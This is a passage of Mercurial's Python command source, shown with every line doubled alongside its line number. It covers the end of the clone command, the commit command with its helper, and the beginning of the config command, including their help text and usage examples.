1858 exchange format and the receiving end translates this data into its local
1858 exchange format and the receiving end translates this data into its local
1859 storage format. --stream activates a different clone mode that essentially
1859 storage format. --stream activates a different clone mode that essentially
1860 copies repository files from the remote with minimal data processing. This
1860 copies repository files from the remote with minimal data processing. This
1861 significantly reduces the CPU cost of a clone both remotely and locally.
1861 significantly reduces the CPU cost of a clone both remotely and locally.
1862 However, it often increases the transferred data size by 30-40%. This can
1862 However, it often increases the transferred data size by 30-40%. This can
1863 result in substantially faster clones where I/O throughput is plentiful,
1863 result in substantially faster clones where I/O throughput is plentiful,
1864 especially for larger repositories. A side-effect of --stream clones is
1864 especially for larger repositories. A side-effect of --stream clones is
1865 that storage settings and requirements on the remote are applied locally:
1865 that storage settings and requirements on the remote are applied locally:
1866 a modern client may inherit legacy or inefficient storage used by the
1866 a modern client may inherit legacy or inefficient storage used by the
1867 remote or a legacy Mercurial client may not be able to clone from a
1867 remote or a legacy Mercurial client may not be able to clone from a
1868 modern Mercurial remote.
1868 modern Mercurial remote.
1869
1869
1870 .. note::
1870 .. note::
1871
1871
1872 Specifying a tag will include the tagged changeset but not the
1872 Specifying a tag will include the tagged changeset but not the
1873 changeset containing the tag.
1873 changeset containing the tag.
1874
1874
1875 .. container:: verbose
1875 .. container:: verbose
1876
1876
1877 For efficiency, hardlinks are used for cloning whenever the
1877 For efficiency, hardlinks are used for cloning whenever the
1878 source and destination are on the same filesystem (note this
1878 source and destination are on the same filesystem (note this
1879 applies only to the repository data, not to the working
1879 applies only to the repository data, not to the working
1880 directory). Some filesystems, such as AFS, implement hardlinking
1880 directory). Some filesystems, such as AFS, implement hardlinking
1881 incorrectly, but do not report errors. In these cases, use the
1881 incorrectly, but do not report errors. In these cases, use the
1882 --pull option to avoid hardlinking.
1882 --pull option to avoid hardlinking.
1883
1883
1884 Mercurial will update the working directory to the first applicable
1884 Mercurial will update the working directory to the first applicable
1885 revision from this list:
1885 revision from this list:
1886
1886
1887 a) null if -U or the source repository has no changesets
1887 a) null if -U or the source repository has no changesets
1888 b) if -u . and the source repository is local, the first parent of
1888 b) if -u . and the source repository is local, the first parent of
1889 the source repository's working directory
1889 the source repository's working directory
1890 c) the changeset specified with -u (if a branch name, this means the
1890 c) the changeset specified with -u (if a branch name, this means the
1891 latest head of that branch)
1891 latest head of that branch)
1892 d) the changeset specified with -r
1892 d) the changeset specified with -r
1893 e) the tipmost head specified with -b
1893 e) the tipmost head specified with -b
1894 f) the tipmost head specified with the url#branch source syntax
1894 f) the tipmost head specified with the url#branch source syntax
1895 g) the revision marked with the '@' bookmark, if present
1895 g) the revision marked with the '@' bookmark, if present
1896 h) the tipmost head of the default branch
1896 h) the tipmost head of the default branch
1897 i) tip
1897 i) tip
1898
1898
1899 When cloning from servers that support it, Mercurial may fetch
1899 When cloning from servers that support it, Mercurial may fetch
1900 pre-generated data from a server-advertised URL or inline from the
1900 pre-generated data from a server-advertised URL or inline from the
1901 same stream. When this is done, hooks operating on incoming changesets
1901 same stream. When this is done, hooks operating on incoming changesets
1902 and changegroups may fire more than once, once for each pre-generated
1902 and changegroups may fire more than once, once for each pre-generated
1903 bundle and as well as for any additional remaining data. In addition,
1903 bundle and as well as for any additional remaining data. In addition,
1904 if an error occurs, the repository may be rolled back to a partial
1904 if an error occurs, the repository may be rolled back to a partial
1905 clone. This behavior may change in future releases.
1905 clone. This behavior may change in future releases.
1906 See :hg:`help -e clonebundles` for more.
1906 See :hg:`help -e clonebundles` for more.
1907
1907
1908 Examples:
1908 Examples:
1909
1909
1910 - clone a remote repository to a new directory named hg/::
1910 - clone a remote repository to a new directory named hg/::
1911
1911
1912 hg clone https://www.mercurial-scm.org/repo/hg/
1912 hg clone https://www.mercurial-scm.org/repo/hg/
1913
1913
1914 - create a lightweight local clone::
1914 - create a lightweight local clone::
1915
1915
1916 hg clone project/ project-feature/
1916 hg clone project/ project-feature/
1917
1917
1918 - clone from an absolute path on an ssh server (note double-slash)::
1918 - clone from an absolute path on an ssh server (note double-slash)::
1919
1919
1920 hg clone ssh://user@server//home/projects/alpha/
1920 hg clone ssh://user@server//home/projects/alpha/
1921
1921
1922 - do a streaming clone while checking out a specified version::
1922 - do a streaming clone while checking out a specified version::
1923
1923
1924 hg clone --stream http://server/repo -u 1.5
1924 hg clone --stream http://server/repo -u 1.5
1925
1925
1926 - create a repository without changesets after a particular revision::
1926 - create a repository without changesets after a particular revision::
1927
1927
1928 hg clone -r 04e544 experimental/ good/
1928 hg clone -r 04e544 experimental/ good/
1929
1929
1930 - clone (and track) a particular named branch::
1930 - clone (and track) a particular named branch::
1931
1931
1932 hg clone https://www.mercurial-scm.org/repo/hg/#stable
1932 hg clone https://www.mercurial-scm.org/repo/hg/#stable
1933
1933
1934 See :hg:`help urls` for details on specifying URLs.
1934 See :hg:`help urls` for details on specifying URLs.
1935
1935
1936 Returns 0 on success.
1936 Returns 0 on success.
1937 """
1937 """
1938 opts = pycompat.byteskwargs(opts)
1938 opts = pycompat.byteskwargs(opts)
1939 cmdutil.check_at_most_one_arg(opts, b'noupdate', b'updaterev')
1939 cmdutil.check_at_most_one_arg(opts, b'noupdate', b'updaterev')
1940
1940
1941 # --include/--exclude can come from narrow or sparse.
1941 # --include/--exclude can come from narrow or sparse.
1942 includepats, excludepats = None, None
1942 includepats, excludepats = None, None
1943
1943
1944 # hg.clone() differentiates between None and an empty set. So make sure
1944 # hg.clone() differentiates between None and an empty set. So make sure
1945 # patterns are sets if narrow is requested without patterns.
1945 # patterns are sets if narrow is requested without patterns.
1946 if opts.get(b'narrow'):
1946 if opts.get(b'narrow'):
1947 includepats = set()
1947 includepats = set()
1948 excludepats = set()
1948 excludepats = set()
1949
1949
1950 if opts.get(b'include'):
1950 if opts.get(b'include'):
1951 includepats = narrowspec.parsepatterns(opts.get(b'include'))
1951 includepats = narrowspec.parsepatterns(opts.get(b'include'))
1952 if opts.get(b'exclude'):
1952 if opts.get(b'exclude'):
1953 excludepats = narrowspec.parsepatterns(opts.get(b'exclude'))
1953 excludepats = narrowspec.parsepatterns(opts.get(b'exclude'))
1954
1954
1955 r = hg.clone(
1955 r = hg.clone(
1956 ui,
1956 ui,
1957 opts,
1957 opts,
1958 source,
1958 source,
1959 dest,
1959 dest,
1960 pull=opts.get(b'pull'),
1960 pull=opts.get(b'pull'),
1961 stream=opts.get(b'stream') or opts.get(b'uncompressed'),
1961 stream=opts.get(b'stream') or opts.get(b'uncompressed'),
1962 revs=opts.get(b'rev'),
1962 revs=opts.get(b'rev'),
1963 update=opts.get(b'updaterev') or not opts.get(b'noupdate'),
1963 update=opts.get(b'updaterev') or not opts.get(b'noupdate'),
1964 branch=opts.get(b'branch'),
1964 branch=opts.get(b'branch'),
1965 shareopts=opts.get(b'shareopts'),
1965 shareopts=opts.get(b'shareopts'),
1966 storeincludepats=includepats,
1966 storeincludepats=includepats,
1967 storeexcludepats=excludepats,
1967 storeexcludepats=excludepats,
1968 depth=opts.get(b'depth') or None,
1968 depth=opts.get(b'depth') or None,
1969 )
1969 )
1970
1970
1971 return r is None
1971 return r is None
1972
1972
1973
1973
1974 @command(
1974 @command(
1975 b'commit|ci',
1975 b'commit|ci',
1976 [
1976 [
1977 (
1977 (
1978 b'A',
1978 b'A',
1979 b'addremove',
1979 b'addremove',
1980 None,
1980 None,
1981 _(b'mark new/missing files as added/removed before committing'),
1981 _(b'mark new/missing files as added/removed before committing'),
1982 ),
1982 ),
1983 (b'', b'close-branch', None, _(b'mark a branch head as closed')),
1983 (b'', b'close-branch', None, _(b'mark a branch head as closed')),
1984 (b'', b'amend', None, _(b'amend the parent of the working directory')),
1984 (b'', b'amend', None, _(b'amend the parent of the working directory')),
1985 (b's', b'secret', None, _(b'use the secret phase for committing')),
1985 (b's', b'secret', None, _(b'use the secret phase for committing')),
1986 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
1986 (b'e', b'edit', None, _(b'invoke editor on commit messages')),
1987 (
1987 (
1988 b'',
1988 b'',
1989 b'force-close-branch',
1989 b'force-close-branch',
1990 None,
1990 None,
1991 _(b'forcibly close branch from a non-head changeset (ADVANCED)'),
1991 _(b'forcibly close branch from a non-head changeset (ADVANCED)'),
1992 ),
1992 ),
1993 (b'i', b'interactive', None, _(b'use interactive mode')),
1993 (b'i', b'interactive', None, _(b'use interactive mode')),
1994 ]
1994 ]
1995 + walkopts
1995 + walkopts
1996 + commitopts
1996 + commitopts
1997 + commitopts2
1997 + commitopts2
1998 + subrepoopts,
1998 + subrepoopts,
1999 _(b'[OPTION]... [FILE]...'),
1999 _(b'[OPTION]... [FILE]...'),
2000 helpcategory=command.CATEGORY_COMMITTING,
2000 helpcategory=command.CATEGORY_COMMITTING,
2001 helpbasic=True,
2001 helpbasic=True,
2002 inferrepo=True,
2002 inferrepo=True,
2003 )
2003 )
2004 def commit(ui, repo, *pats, **opts):
2004 def commit(ui, repo, *pats, **opts):
2005 """commit the specified files or all outstanding changes
2005 """commit the specified files or all outstanding changes
2006
2006
2007 Commit changes to the given files into the repository. Unlike a
2007 Commit changes to the given files into the repository. Unlike a
2008 centralized SCM, this operation is a local operation. See
2008 centralized SCM, this operation is a local operation. See
2009 :hg:`push` for a way to actively distribute your changes.
2009 :hg:`push` for a way to actively distribute your changes.
2010
2010
2011 If a list of files is omitted, all changes reported by :hg:`status`
2011 If a list of files is omitted, all changes reported by :hg:`status`
2012 will be committed.
2012 will be committed.
2013
2013
2014 If you are committing the result of a merge, do not provide any
2014 If you are committing the result of a merge, do not provide any
2015 filenames or -I/-X filters.
2015 filenames or -I/-X filters.
2016
2016
2017 If no commit message is specified, Mercurial starts your
2017 If no commit message is specified, Mercurial starts your
2018 configured editor where you can enter a message. In case your
2018 configured editor where you can enter a message. In case your
2019 commit fails, you will find a backup of your message in
2019 commit fails, you will find a backup of your message in
2020 ``.hg/last-message.txt``.
2020 ``.hg/last-message.txt``.
2021
2021
2022 The --close-branch flag can be used to mark the current branch
2022 The --close-branch flag can be used to mark the current branch
2023 head closed. When all heads of a branch are closed, the branch
2023 head closed. When all heads of a branch are closed, the branch
2024 will be considered closed and no longer listed.
2024 will be considered closed and no longer listed.
2025
2025
2026 The --amend flag can be used to amend the parent of the
2026 The --amend flag can be used to amend the parent of the
2027 working directory with a new commit that contains the changes
2027 working directory with a new commit that contains the changes
2028 in the parent in addition to those currently reported by :hg:`status`,
2028 in the parent in addition to those currently reported by :hg:`status`,
2029 if there are any. The old commit is stored in a backup bundle in
2029 if there are any. The old commit is stored in a backup bundle in
2030 ``.hg/strip-backup`` (see :hg:`help bundle` and :hg:`help unbundle`
2030 ``.hg/strip-backup`` (see :hg:`help bundle` and :hg:`help unbundle`
2031 on how to restore it).
2031 on how to restore it).
2032
2032
2033 Message, user and date are taken from the amended commit unless
2033 Message, user and date are taken from the amended commit unless
2034 specified. When a message isn't specified on the command line,
2034 specified. When a message isn't specified on the command line,
2035 the editor will open with the message of the amended commit.
2035 the editor will open with the message of the amended commit.
2036
2036
2037 It is not possible to amend public changesets (see :hg:`help phases`)
2037 It is not possible to amend public changesets (see :hg:`help phases`)
2038 or changesets that have children.
2038 or changesets that have children.
2039
2039
2040 See :hg:`help dates` for a list of formats valid for -d/--date.
2040 See :hg:`help dates` for a list of formats valid for -d/--date.
2041
2041
2042 Returns 0 on success, 1 if nothing changed.
2042 Returns 0 on success, 1 if nothing changed.
2043
2043
2044 .. container:: verbose
2044 .. container:: verbose
2045
2045
2046 Examples:
2046 Examples:
2047
2047
2048 - commit all files ending in .py::
2048 - commit all files ending in .py::
2049
2049
2050 hg commit --include "set:**.py"
2050 hg commit --include "set:**.py"
2051
2051
2052 - commit all non-binary files::
2052 - commit all non-binary files::
2053
2053
2054 hg commit --exclude "set:binary()"
2054 hg commit --exclude "set:binary()"
2055
2055
2056 - amend the current commit and set the date to now::
2056 - amend the current commit and set the date to now::
2057
2057
2058 hg commit --amend --date now
2058 hg commit --amend --date now
2059 """
2059 """
2060 with repo.wlock(), repo.lock():
2060 with repo.wlock(), repo.lock():
2061 return _docommit(ui, repo, *pats, **opts)
2061 return _docommit(ui, repo, *pats, **opts)
2062
2062
2063
2063
2064 def _docommit(ui, repo, *pats, **opts):
2064 def _docommit(ui, repo, *pats, **opts):
2065 if opts.get('interactive'):
2065 if opts.get('interactive'):
2066 opts.pop('interactive')
2066 opts.pop('interactive')
2067 ret = cmdutil.dorecord(
2067 ret = cmdutil.dorecord(
2068 ui, repo, commit, None, False, cmdutil.recordfilter, *pats, **opts
2068 ui, repo, commit, None, False, cmdutil.recordfilter, *pats, **opts
2069 )
2069 )
2070 # ret can be 0 (no changes to record) or the value returned by
2070 # ret can be 0 (no changes to record) or the value returned by
2071 # commit(), 1 if nothing changed or None on success.
2071 # commit(), 1 if nothing changed or None on success.
2072 return 1 if ret == 0 else ret
2072 return 1 if ret == 0 else ret
2073
2073
2074 if opts.get('subrepos'):
2074 if opts.get('subrepos'):
2075 cmdutil.check_incompatible_arguments(opts, 'subrepos', ['amend'])
2075 cmdutil.check_incompatible_arguments(opts, 'subrepos', ['amend'])
2076 # Let --subrepos on the command line override config setting.
2076 # Let --subrepos on the command line override config setting.
2077 ui.setconfig(b'ui', b'commitsubrepos', True, b'commit')
2077 ui.setconfig(b'ui', b'commitsubrepos', True, b'commit')
2078
2078
2079 cmdutil.checkunfinished(repo, commit=True)
2079 cmdutil.checkunfinished(repo, commit=True)
2080
2080
2081 branch = repo[None].branch()
2081 branch = repo[None].branch()
2082 bheads = repo.branchheads(branch)
2082 bheads = repo.branchheads(branch)
2083 tip = repo.changelog.tip()
2083 tip = repo.changelog.tip()
2084
2084
2085 extra = {}
2085 extra = {}
2086 if opts.get('close_branch') or opts.get('force_close_branch'):
2086 if opts.get('close_branch') or opts.get('force_close_branch'):
2087 extra[b'close'] = b'1'
2087 extra[b'close'] = b'1'
2088
2088
2089 if repo[b'.'].closesbranch():
2089 if repo[b'.'].closesbranch():
2090 raise error.InputError(
2090 raise error.InputError(
2091 _(b'current revision is already a branch closing head')
2091 _(b'current revision is already a branch closing head')
2092 )
2092 )
2093 elif not bheads:
2093 elif not bheads:
2094 raise error.InputError(
2094 raise error.InputError(
2095 _(b'branch "%s" has no heads to close') % branch
2095 _(b'branch "%s" has no heads to close') % branch
2096 )
2096 )
2097 elif (
2097 elif (
2098 branch == repo[b'.'].branch()
2098 branch == repo[b'.'].branch()
2099 and repo[b'.'].node() not in bheads
2099 and repo[b'.'].node() not in bheads
2100 and not opts.get('force_close_branch')
2100 and not opts.get('force_close_branch')
2101 ):
2101 ):
2102 hint = _(
2102 hint = _(
2103 b'use --force-close-branch to close branch from a non-head'
2103 b'use --force-close-branch to close branch from a non-head'
2104 b' changeset'
2104 b' changeset'
2105 )
2105 )
2106 raise error.InputError(_(b'can only close branch heads'), hint=hint)
2106 raise error.InputError(_(b'can only close branch heads'), hint=hint)
2107 elif opts.get('amend'):
2107 elif opts.get('amend'):
2108 if (
2108 if (
2109 repo[b'.'].p1().branch() != branch
2109 repo[b'.'].p1().branch() != branch
2110 and repo[b'.'].p2().branch() != branch
2110 and repo[b'.'].p2().branch() != branch
2111 ):
2111 ):
2112 raise error.InputError(_(b'can only close branch heads'))
2112 raise error.InputError(_(b'can only close branch heads'))
2113
2113
2114 if opts.get('amend'):
2114 if opts.get('amend'):
2115 if ui.configbool(b'ui', b'commitsubrepos'):
2115 if ui.configbool(b'ui', b'commitsubrepos'):
2116 raise error.InputError(
2116 raise error.InputError(
2117 _(b'cannot amend with ui.commitsubrepos enabled')
2117 _(b'cannot amend with ui.commitsubrepos enabled')
2118 )
2118 )
2119
2119
2120 old = repo[b'.']
2120 old = repo[b'.']
2121 rewriteutil.precheck(repo, [old.rev()], b'amend')
2121 rewriteutil.precheck(repo, [old.rev()], b'amend')
2122
2122
2123 # Currently histedit gets confused if an amend happens while histedit
2123 # Currently histedit gets confused if an amend happens while histedit
2124 # is in progress. Since we have a checkunfinished command, we are
2124 # is in progress. Since we have a checkunfinished command, we are
2125 # temporarily honoring it.
2125 # temporarily honoring it.
2126 #
2126 #
2127 # Note: eventually this guard will be removed. Please do not expect
2127 # Note: eventually this guard will be removed. Please do not expect
2128 # this behavior to remain.
2128 # this behavior to remain.
2129 if not obsolete.isenabled(repo, obsolete.createmarkersopt):
2129 if not obsolete.isenabled(repo, obsolete.createmarkersopt):
2130 cmdutil.checkunfinished(repo)
2130 cmdutil.checkunfinished(repo)
2131
2131
2132 node = cmdutil.amend(ui, repo, old, extra, pats, opts)
2132 node = cmdutil.amend(ui, repo, old, extra, pats, opts)
2133 opts = pycompat.byteskwargs(opts)
2133 opts = pycompat.byteskwargs(opts)
2134 if node == old.node():
2134 if node == old.node():
2135 ui.status(_(b"nothing changed\n"))
2135 ui.status(_(b"nothing changed\n"))
2136 return 1
2136 return 1
2137 else:
2137 else:
2138
2138
2139 def commitfunc(ui, repo, message, match, opts):
2139 def commitfunc(ui, repo, message, match, opts):
2140 overrides = {}
2140 overrides = {}
2141 if opts.get(b'secret'):
2141 if opts.get(b'secret'):
2142 overrides[(b'phases', b'new-commit')] = b'secret'
2142 overrides[(b'phases', b'new-commit')] = b'secret'
2143
2143
2144 baseui = repo.baseui
2144 baseui = repo.baseui
2145 with baseui.configoverride(overrides, b'commit'):
2145 with baseui.configoverride(overrides, b'commit'):
2146 with ui.configoverride(overrides, b'commit'):
2146 with ui.configoverride(overrides, b'commit'):
2147 editform = cmdutil.mergeeditform(
2147 editform = cmdutil.mergeeditform(
2148 repo[None], b'commit.normal'
2148 repo[None], b'commit.normal'
2149 )
2149 )
2150 editor = cmdutil.getcommiteditor(
2150 editor = cmdutil.getcommiteditor(
2151 editform=editform, **pycompat.strkwargs(opts)
2151 editform=editform, **pycompat.strkwargs(opts)
2152 )
2152 )
2153 return repo.commit(
2153 return repo.commit(
2154 message,
2154 message,
2155 opts.get(b'user'),
2155 opts.get(b'user'),
2156 opts.get(b'date'),
2156 opts.get(b'date'),
2157 match,
2157 match,
2158 editor=editor,
2158 editor=editor,
2159 extra=extra,
2159 extra=extra,
2160 )
2160 )
2161
2161
2162 opts = pycompat.byteskwargs(opts)
2162 opts = pycompat.byteskwargs(opts)
2163 node = cmdutil.commit(ui, repo, commitfunc, pats, opts)
2163 node = cmdutil.commit(ui, repo, commitfunc, pats, opts)
2164
2164
2165 if not node:
2165 if not node:
2166 stat = cmdutil.postcommitstatus(repo, pats, opts)
2166 stat = cmdutil.postcommitstatus(repo, pats, opts)
2167 if stat.deleted:
2167 if stat.deleted:
2168 ui.status(
2168 ui.status(
2169 _(
2169 _(
2170 b"nothing changed (%d missing files, see "
2170 b"nothing changed (%d missing files, see "
2171 b"'hg status')\n"
2171 b"'hg status')\n"
2172 )
2172 )
2173 % len(stat.deleted)
2173 % len(stat.deleted)
2174 )
2174 )
2175 else:
2175 else:
2176 ui.status(_(b"nothing changed\n"))
2176 ui.status(_(b"nothing changed\n"))
2177 return 1
2177 return 1
2178
2178
2179 cmdutil.commitstatus(repo, node, branch, bheads, tip, opts)
2179 cmdutil.commitstatus(repo, node, branch, bheads, tip, opts)
2180
2180
2181 if not ui.quiet and ui.configbool(b'commands', b'commit.post-status'):
2181 if not ui.quiet and ui.configbool(b'commands', b'commit.post-status'):
2182 status(
2182 status(
2183 ui,
2183 ui,
2184 repo,
2184 repo,
2185 modified=True,
2185 modified=True,
2186 added=True,
2186 added=True,
2187 removed=True,
2187 removed=True,
2188 deleted=True,
2188 deleted=True,
2189 unknown=True,
2189 unknown=True,
2190 subrepos=opts.get(b'subrepos'),
2190 subrepos=opts.get(b'subrepos'),
2191 )
2191 )
2192
2192
2193
2193
2194 @command(
2194 @command(
2195 b'config|showconfig|debugconfig',
2195 b'config|showconfig|debugconfig',
2196 [
2196 [
2197 (b'u', b'untrusted', None, _(b'show untrusted configuration options')),
2197 (b'u', b'untrusted', None, _(b'show untrusted configuration options')),
2198 # This is experimental because we need
2198 # This is experimental because we need
2199 # * reasonable behavior around aliases,
2199 # * reasonable behavior around aliases,
2200 # * decide if we display [debug] [experimental] and [devel] section par
2200 # * decide if we display [debug] [experimental] and [devel] section par
2201 # default
2201 # default
2202 # * some way to display "generic" config entry (the one matching
2202 # * some way to display "generic" config entry (the one matching
2203 # regexp,
2203 # regexp,
2204 # * proper display of the different value type
2204 # * proper display of the different value type
2205 # * a better way to handle <DYNAMIC> values (and variable types),
2205 # * a better way to handle <DYNAMIC> values (and variable types),
2206 # * maybe some type information ?
2206 # * maybe some type information ?
2207 (
2207 (
2208 b'',
2208 b'',
2209 b'exp-all-known',
2209 b'exp-all-known',
2210 None,
2210 None,
2211 _(b'show all known config option (EXPERIMENTAL)'),
2211 _(b'show all known config option (EXPERIMENTAL)'),
2212 ),
2212 ),
2213 (b'e', b'edit', None, _(b'edit user config')),
2213 (b'e', b'edit', None, _(b'edit user config')),
2214 (b'l', b'local', None, _(b'edit repository config')),
2214 (b'l', b'local', None, _(b'edit repository config')),
2215 (b'', b'source', None, _(b'show source of configuration value')),
2215 (b'', b'source', None, _(b'show source of configuration value')),
2216 (
2216 (
2217 b'',
2217 b'',
2218 b'shared',
2218 b'shared',
2219 None,
2219 None,
2220 _(b'edit shared source repository config (EXPERIMENTAL)'),
2220 _(b'edit shared source repository config (EXPERIMENTAL)'),
2221 ),
2221 ),
2222 (b'', b'non-shared', None, _(b'edit non shared config (EXPERIMENTAL)')),
2222 (b'', b'non-shared', None, _(b'edit non shared config (EXPERIMENTAL)')),
2223 (b'g', b'global', None, _(b'edit global config')),
2223 (b'g', b'global', None, _(b'edit global config')),
2224 ]
2224 ]
2225 + formatteropts,
2225 + formatteropts,
2226 _(b'[-u] [NAME]...'),
2226 _(b'[-u] [NAME]...'),
2227 helpcategory=command.CATEGORY_HELP,
2227 helpcategory=command.CATEGORY_HELP,
2228 optionalrepo=True,
2228 optionalrepo=True,
2229 intents={INTENT_READONLY},
2229 intents={INTENT_READONLY},
2230 )
2230 )
2231 def config(ui, repo, *values, **opts):
2231 def config(ui, repo, *values, **opts):
2232 """show combined config settings from all hgrc files
2232 """show combined config settings from all hgrc files
2233
2233
2234 With no arguments, print names and values of all config items.
2234 With no arguments, print names and values of all config items.
2235
2235
2236 With one argument of the form section.name, print just the value
2236 With one argument of the form section.name, print just the value
2237 of that config item.
2237 of that config item.
2238
2238
2239 With multiple arguments, print names and values of all config
2239 With multiple arguments, print names and values of all config
2240 items with matching section names or section.names.
2240 items with matching section names or section.names.
2241
2241
2242 With --edit, start an editor on the user-level config file. With
2242 With --edit, start an editor on the user-level config file. With
2243 --global, edit the system-wide config file. With --local, edit the
2243 --global, edit the system-wide config file. With --local, edit the
2244 repository-level config file.
2244 repository-level config file.
2245
2245
2246 With --source, the source (filename and line number) is printed
2246 With --source, the source (filename and line number) is printed
2247 for each config item.
2247 for each config item.
2248
2248
2249 See :hg:`help config` for more information about config files.
2249 See :hg:`help config` for more information about config files.
2250
2250
2251 .. container:: verbose
2251 .. container:: verbose
2252
2252
2253 --non-shared flag is used to edit `.hg/hgrc-not-shared` config file.
2253 --non-shared flag is used to edit `.hg/hgrc-not-shared` config file.
2254 This file is not shared across shares when in share-safe mode.
2254 This file is not shared across shares when in share-safe mode.
2255
2255
2256 Template:
2256 Template:
2257
2257
2258 The following keywords are supported. See also :hg:`help templates`.
2258 The following keywords are supported. See also :hg:`help templates`.
2259
2259
2260 :name: String. Config name.
2260 :name: String. Config name.
2261 :source: String. Filename and line number where the item is defined.
2261 :source: String. Filename and line number where the item is defined.
2262 :value: String. Config value.
2262 :value: String. Config value.
2263
2263
2264 The --shared flag can be used to edit the config file of shared source
2264 The --shared flag can be used to edit the config file of shared source
2265 repository. It only works when you have shared using the experimental
2265 repository. It only works when you have shared using the experimental
2266 share safe feature.
2266 share safe feature.
2267
2267
2268 Returns 0 on success, 1 if NAME does not exist.
2268 Returns 0 on success, 1 if NAME does not exist.
2269
2269
2270 """
2270 """
2271
2271
2272 opts = pycompat.byteskwargs(opts)
2272 opts = pycompat.byteskwargs(opts)
2273 editopts = (b'edit', b'local', b'global', b'shared', b'non_shared')
2273 editopts = (b'edit', b'local', b'global', b'shared', b'non_shared')
2274 if any(opts.get(o) for o in editopts):
2274 if any(opts.get(o) for o in editopts):
2275 cmdutil.check_at_most_one_arg(opts, *editopts[1:])
2275 cmdutil.check_at_most_one_arg(opts, *editopts[1:])
2276 if opts.get(b'local'):
2276 if opts.get(b'local'):
2277 if not repo:
2277 if not repo:
2278 raise error.InputError(
2278 raise error.InputError(
2279 _(b"can't use --local outside a repository")
2279 _(b"can't use --local outside a repository")
2280 )
2280 )
2281 paths = [repo.vfs.join(b'hgrc')]
2281 paths = [repo.vfs.join(b'hgrc')]
2282 elif opts.get(b'global'):
2282 elif opts.get(b'global'):
2283 paths = rcutil.systemrcpath()
2283 paths = rcutil.systemrcpath()
2284 elif opts.get(b'shared'):
2284 elif opts.get(b'shared'):
2285 if not repo.shared():
2285 if not repo.shared():
2286 raise error.InputError(
2286 raise error.InputError(
2287 _(b"repository is not shared; can't use --shared")
2287 _(b"repository is not shared; can't use --shared")
2288 )
2288 )
2289 if requirements.SHARESAFE_REQUIREMENT not in repo.requirements:
2289 if requirements.SHARESAFE_REQUIREMENT not in repo.requirements:
2290 raise error.InputError(
2290 raise error.InputError(
2291 _(
2291 _(
2292 b"share safe feature not enabled; "
2292 b"share safe feature not enabled; "
2293 b"unable to edit shared source repository config"
2293 b"unable to edit shared source repository config"
2294 )
2294 )
2295 )
2295 )
2296 paths = [vfsmod.vfs(repo.sharedpath).join(b'hgrc')]
2296 paths = [vfsmod.vfs(repo.sharedpath).join(b'hgrc')]
2297 elif opts.get(b'non_shared'):
2297 elif opts.get(b'non_shared'):
2298 paths = [repo.vfs.join(b'hgrc-not-shared')]
2298 paths = [repo.vfs.join(b'hgrc-not-shared')]
2299 else:
2299 else:
2300 paths = rcutil.userrcpath()
2300 paths = rcutil.userrcpath()
2301
2301
2302 for f in paths:
2302 for f in paths:
2303 if os.path.exists(f):
2303 if os.path.exists(f):
2304 break
2304 break
2305 else:
2305 else:
2306 if opts.get(b'global'):
2306 if opts.get(b'global'):
2307 samplehgrc = uimod.samplehgrcs[b'global']
2307 samplehgrc = uimod.samplehgrcs[b'global']
2308 elif opts.get(b'local'):
2308 elif opts.get(b'local'):
2309 samplehgrc = uimod.samplehgrcs[b'local']
2309 samplehgrc = uimod.samplehgrcs[b'local']
2310 else:
2310 else:
2311 samplehgrc = uimod.samplehgrcs[b'user']
2311 samplehgrc = uimod.samplehgrcs[b'user']
2312
2312
2313 f = paths[0]
2313 f = paths[0]
2314 fp = open(f, b"wb")
2314 fp = open(f, b"wb")
2315 fp.write(util.tonativeeol(samplehgrc))
2315 fp.write(util.tonativeeol(samplehgrc))
2316 fp.close()
2316 fp.close()
2317
2317
2318 editor = ui.geteditor()
2318 editor = ui.geteditor()
2319 ui.system(
2319 ui.system(
2320 b"%s \"%s\"" % (editor, f),
2320 b"%s \"%s\"" % (editor, f),
2321 onerr=error.InputError,
2321 onerr=error.InputError,
2322 errprefix=_(b"edit failed"),
2322 errprefix=_(b"edit failed"),
2323 blockedtag=b'config_edit',
2323 blockedtag=b'config_edit',
2324 )
2324 )
2325 return
2325 return
2326 ui.pager(b'config')
2326 ui.pager(b'config')
2327 fm = ui.formatter(b'config', opts)
2327 fm = ui.formatter(b'config', opts)
2328 for t, f in rcutil.rccomponents():
2328 for t, f in rcutil.rccomponents():
2329 if t == b'path':
2329 if t == b'path':
2330 ui.debug(b'read config from: %s\n' % f)
2330 ui.debug(b'read config from: %s\n' % f)
2331 elif t == b'resource':
2331 elif t == b'resource':
2332 ui.debug(b'read config from: resource:%s.%s\n' % (f[0], f[1]))
2332 ui.debug(b'read config from: resource:%s.%s\n' % (f[0], f[1]))
2333 elif t == b'items':
2333 elif t == b'items':
2334 # Don't print anything for 'items'.
2334 # Don't print anything for 'items'.
2335 pass
2335 pass
2336 else:
2336 else:
2337 raise error.ProgrammingError(b'unknown rctype: %s' % t)
2337 raise error.ProgrammingError(b'unknown rctype: %s' % t)
2338 untrusted = bool(opts.get(b'untrusted'))
2338 untrusted = bool(opts.get(b'untrusted'))
2339
2339
2340 selsections = selentries = []
2340 selsections = selentries = []
2341 if values:
2341 if values:
2342 selsections = [v for v in values if b'.' not in v]
2342 selsections = [v for v in values if b'.' not in v]
2343 selentries = [v for v in values if b'.' in v]
2343 selentries = [v for v in values if b'.' in v]
2344 uniquesel = len(selentries) == 1 and not selsections
2344 uniquesel = len(selentries) == 1 and not selsections
2345 selsections = set(selsections)
2345 selsections = set(selsections)
2346 selentries = set(selentries)
2346 selentries = set(selentries)
2347
2347
2348 matched = False
2348 matched = False
2349 all_known = opts[b'exp_all_known']
2349 all_known = opts[b'exp_all_known']
2350 show_source = ui.debugflag or opts.get(b'source')
2350 show_source = ui.debugflag or opts.get(b'source')
2351 entries = ui.walkconfig(untrusted=untrusted, all_known=all_known)
2351 entries = ui.walkconfig(untrusted=untrusted, all_known=all_known)
2352 for section, name, value in entries:
2352 for section, name, value in entries:
2353 source = ui.configsource(section, name, untrusted)
2353 source = ui.configsource(section, name, untrusted)
2354 value = pycompat.bytestr(value)
2354 value = pycompat.bytestr(value)
2355 defaultvalue = ui.configdefault(section, name)
2355 defaultvalue = ui.configdefault(section, name)
2356 if fm.isplain():
2356 if fm.isplain():
2357 source = source or b'none'
2357 source = source or b'none'
2358 value = value.replace(b'\n', b'\\n')
2358 value = value.replace(b'\n', b'\\n')
2359 entryname = section + b'.' + name
2359 entryname = section + b'.' + name
2360 if values and not (section in selsections or entryname in selentries):
2360 if values and not (section in selsections or entryname in selentries):
2361 continue
2361 continue
2362 fm.startitem()
2362 fm.startitem()
